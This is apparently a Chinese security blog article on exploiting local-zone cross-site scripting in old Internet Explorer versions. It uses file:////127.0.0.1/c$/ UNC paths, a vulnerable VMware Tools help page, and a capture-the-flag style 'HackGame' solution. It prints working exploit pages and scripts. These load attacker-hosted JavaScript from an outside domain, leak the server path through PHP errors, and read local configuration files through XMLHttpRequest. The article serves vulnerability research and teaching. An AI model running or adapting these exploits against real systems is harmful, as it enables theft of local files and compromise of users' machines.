一、前言
本文其实源于去年我在blog上发起的《[技术挑战]How To Exploit Location Cross-Domain Scripting》里的IE部分，由于基本没人参与，只有我自己研究一下了，并且在基于自己的一些思路上，前段时间还搞了一个《HackGame No.1》，可惜还是没什么人响应…
二、技术背景
在IE的历史【http://en.wikipedia.org/wiki/Internet_Explorer】上就安全上的改进来说，出现了几次重要整体上的安全防御部署的更新：
- Internet Explorer 6 sp2(August 25, 2004发布）加强各大安全区域的划分，并且推出“Local Machine Zone Lockdown”，这个也就使得本地xss漏洞变为鸡肋。(详见：附录[1])
- Internet Explorer 7（October 18, 2006）主要是改进了“ActiveX Security” (详见：附录[2])
- Internet Explorer 8（March 19, 2009） 推出了“XSS Filter” （详见：附录[3]）
上面提到的基本是最为sp或新版本更新的整体防御，当然在没个版本发布和每个月的漏洞日都有相当的安全更新，经过这么些年的缝缝补补，导致了ie的本地xss漏洞的利用空间越来越小…
三、走向本地的邪恶之路
我们再看看本地xss的攻击流程：
外网通过iframe等标签–>本地存在xss漏洞的文件–>执行payload。
首先我们要找到从外网访问本地文件的方式，具体在ie里方法有：
- about:协议
- File://
- res://
- 加载chm文件的一些协议：ms-its,its,mk等
- 其他的一些协议。
我们看看ie6 sp2后以上一些协议，对于about:本身的xss基本上是灭绝了，而res://直接降到了internet域，对于payload里操作也只可以在res://里徘徊，甚至不可以用file://和http://，至于ms-its,its,mk等虽然还是在“我的电脑”，但是ie6 sp2后默认是不让执行脚本等。
最后剩下file://协议，ie但是以来就队file://协议有着很好的支持，同样也给用户安全带来了巨大的隐患，ie6 sp2同样加强了对于file://的防御,比如不可以直接用file://从其他域访问到“我的电脑”域等。
首先我们看看file://访问文件的两方式：
- 用绝对路径调用本地文件
- 通过UNC调用网络文件
对于这两方式的测试，在我的blog上有详细的描叙:（附录[4]）
从blog文里可以看出，虽然用a方式可以访问到本地用“MOTW”标记为internet域的文件，但是这个权限也是小的可怜，对于b方式通过UNC访问网络文件，本身就在internet域，但是他这个域对应的是”\hostip共享目录”,对于windows而言，默认是开启各大盘的共享的：
C:>net share Share name Resource Remark ------------------------------------------------------------------------------- IPC$ Remote IPC ADMIN$ C:WINDOWS Remote Admin C$ C: Default share The command completed successfully.
那么这个域是相当‘巨大’的，比如我们可以通过file:////127.0.0.1/c$/的方式来访问本地c盘下的文件了。虽然严格意义来说这个没有跨域，但是它实现了我们访问本地文件的目标，这个也就是本文要阐述的“邪恶之路”。
四、寻找本地之门[本地xss漏洞]
找到了通往本地的邪恶之路后，我们还需要找到的是本地存在xss漏洞的文件。同样对于ie6 sp2以后，为了防御本地xss攻击，增加了不少限制，比如限制对于非HTML文件的渲染[比如不渲染.txt .dat等文件]，这个意义是非常大的，直接导致我们寻找本地xss漏洞的文件类型越来越少。不过我们可以从下面一些思路寻找突破：
- 突破“对于不渲染非html文件”的限制，然后把有漏洞的代码写入本地调用。如CVE-2009-1140，附录[5]。
- 利用浏览器的缓存或者引诱用户下载、安装等方式引入有漏洞的html文件到本地。
- 寻找本地有漏洞的html文件或没有被限制渲染的文件：比如系统自带的html，第3方软件安装的说明帮助的文件等。
对于A基本上是很难突破的，那么对于B用ie等浏览器的缓存是个不错的思路，问题是对于缓存的目录名都是随机的，或许暴力有那么一点点机会？至于下载安装等方式，当然你还要知道他放置的路径等，那属于“非技术”范畴这里不谈论，开来我们的希望在C上，对于系统自带的html存在xss漏洞那也所非常之渺茫，那么我们看看第3方软件引进的html文件，比如在VMwareTools的帮助文件（附录[6]）里代码：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"
"http://www.w3.org/TR/REC-html40/strict.dtd">
<html>
<!-- Copyright (c) 2000-2006 Quadralay Corporation. All rights reserved. -->
<head>
<meta http-equiv="content-type" content="text/html">
<meta http-equiv="charset" content="UTF-8">
<!-- saved from url=(0014)about:internet -->
<title>bookmark.htm</title>
</head>
<body>
<script type="text/javascript" language="JavaScript1.2">
<!--
if ((typeof(window.opener) != "undefined") &&
(window.opener != null))
{
//
//直接document.writeln了window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage
//
document.writeln("<p>" + window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage + "</p>");
document.writeln("<p>" + window.opener.WWHFrame.WWHControls.fBookmarkLink() + "</p>");
}
// -->
</script>
</body>
</html>
上面的代码如果我们可以控制window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage，那么就可以实现我们的“本地xss漏洞文件”了。那么在ie7下window.opener是可控的，那么我们的exp如下：
<html>
<body>
<iframe src="about:blank"></iframe>
<script>
document.getElementsByTagName("IFRAME")[0].contentWindow.location=
"file:////127.0.0.1/c$/Program FilesVMwareVMware Toolshelpwwhelpwwhimplcommonhtmlbookmark.htm";
document.getElementsByTagName("IFRAME")[0].contentWindow.opener =
{WWHFrame:{WWHHelp:{mMessages:{mBookmarkLinkMessage:"<scr"+"ipt src="payload.js"></scr"+"ipt>"}},
WWHControls:{fBookmarkLink:function(){return "";}}}};
</script>
</body>
</html>
上面的这个漏洞来源于“Attacking Rich Internet Applications”详见附录[7]（在里感谢kuazz55的分享！）
对于payload.js我们可以利用Xmlhttp等得到本地文件的代码了。
五、《HackGame No.1》– 来自本地web服务的危险
我们回到文章开头的《HackGame No.1》，在这个游戏里我设计了一个本地的web服务环境：win2k3+easyphp,浏览器用的ie7[不用考虑XSS Filter]，通过hi.php的代码和最后的提示的那个参考文章，那么很容易考虑到通过本地xss漏洞和csrf方式来引诱管理员来达到攻击目标。在这个游戏里主要是体现一个问题，对于本地web服务的环境里的文件，那既可以通过http协议来访问，也可以通过file：//127.0.0.1/c$来访问。那么hi.php就是一个”本地存在的xss漏洞的html文件“ 。：）
hi.php代码：
<HTML>
<TITLE>Welcome!</TITLE>
<BODY>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
//一个典型的dom-xss漏洞
</SCRIPT>
<BR>
Welcome to our system
</BR>
<?php
print stripslashes($_GET["go"]);
//这里是一个发射的xss漏洞，因为php解析问题，所以之可能在http下调用
?>
</BODY>
</HTML>
通过上面的分析，那么我们的思路很明确了，通过http://127.0.0.1/hi.php?name=xss 创建iframe调用file：//127.0.0.1/[hi.php的本地路径]实现本地xss攻击，如何构造payload调用xmlhttp读取目标文件。
那么现在面临两个问题：
- 获取hi.php的本地绝对路径
- 扩展名.php是不是会被ie渲染
要得到hi.php的本地路径，可以通过php爆错得到，easyphp在默认情况下是开启错误显示的，那么很简单通过print stripslashes($_GET[“go”]);这句就可以得到路径了。至于B，经过测试.php是可以被渲染的，最后的exp设计如下：
http://127.0.0.1/hi.php?name=<script/src="http://www.80vul.com/hackgame/one.js"></script>
one.js
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType("text/xml");
}
} else if(window.ActiveXObject) {
var versions = ["Microsoft.XMLHTTP", "MSXML.XMLHTTP",
"Microsoft.XMLHTTP", "Msxml2.XMLHTTP.7.0","Msxml2.XMLHTTP.6.0",
"Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0",
"MSXML2.XMLHTTP"];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
xmlhttp.open("GET", document.URL, false);
xmlhttp.send(null);
var echo = xmlhttp.responseText;
var reg = /go in <b>(.*)</b> on/
var arr=reg.exec(echo);
var webpath = arr[1].replace("C:","c$","g").replace(/\/g,"/");
var iisrc=document.URL.match(/(.*)?([^#]+)#?/)[1]+
"?name=<iframe src="file:////127.0.0.1/"+webpath+
"?name=<sc"+"ript src="http://www.80vul.com/hackgame/two.js"></scr"+
"ipt>"></iframe>"
var d = window.top.document;var newIframe = d.createElement("iframe");
newIframe.src=iisrc;newIframe.style.width = 100;
newIframe.style.height = 100;d.body.appendChild(newIframe);
two.js
xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");
xmlhttp.open("GET","../conf_files/httpd.conf",false);
xmlhttp.send();
alert(xmlhttp.responseText);
其实很多人在看到这个游戏的时候，联系我的blog，很容易想到利用unc的方式，但是基本没有人去实际一下，导致根本就没有意识到上面提到的A/B里路径和渲染的问题， 在这个设计前为了减少难度，所以来了个很明显得到路径的方法，如果没有这个提示呢？我们可以拖过列遍web目录下的文件访问，爆错得到路径，还可以通过phpinfo或者web应用程序本身显示路径的功能来提取…..
其他的思路：尝试“本地internet”利用file://直接访问本地文件,对于本地web服务http://127.0.0.1对应的是”internet域“，而http://localhost/对应的是“本地internet域”,对于“本地internet域”应该在“internet域”上可以同行的，比如可以用xmlhttp访问baidu.com等，这个问题在09年大牛Cesar Cerrudo的paper里谈论过（详见附录[8]），而文章上面提到\127.0.0.1c$应该也属于”internet域“，或许可以访问到。不过可惜经过测试发现用xmlhttp访问有安全提示，这个应该属于http协议访问file协议导致的。
六、小结
从本文的例子可以看得出来安全的进化，导致了本地xss漏洞的在ie上的利用是越来越困难。所幸运的是MS还给我们留下了一条通往本地的小路：file://UNCPath。这条小路给我们打开本地之门带来了一线希望。
七、参考
《由IE6 location Cross-Domain Scripting引发的一点感慨》by firebug9，附录[9]
八、附录
[1] http://technet.microsoft.com/en-us/library/bb457150.aspx
[2] http://msdn.microsoft.com/en-us/library/bb250493%28v=VS.85%29.aspx
[3] http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-x…
[4] http://hi.baidu.com/hi_heige/blog/item/acb023ac4e8130064b36d6a7.html
[5] http://www.coresecurity.com/content/ie-security-zone-bypass
[6] C:Program FilesVMwareVMware Toolshelpwwhelpwwhimplcommonhtmlbookmark.htm
[7] “Attacking Rich Internet Applications” (RUXCON 2008 presentation), Kuza55 and Stefano Di Paola, November 2008
[8] http://www.argeniss.com/research/HackingIntranets.pdf
[9] http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html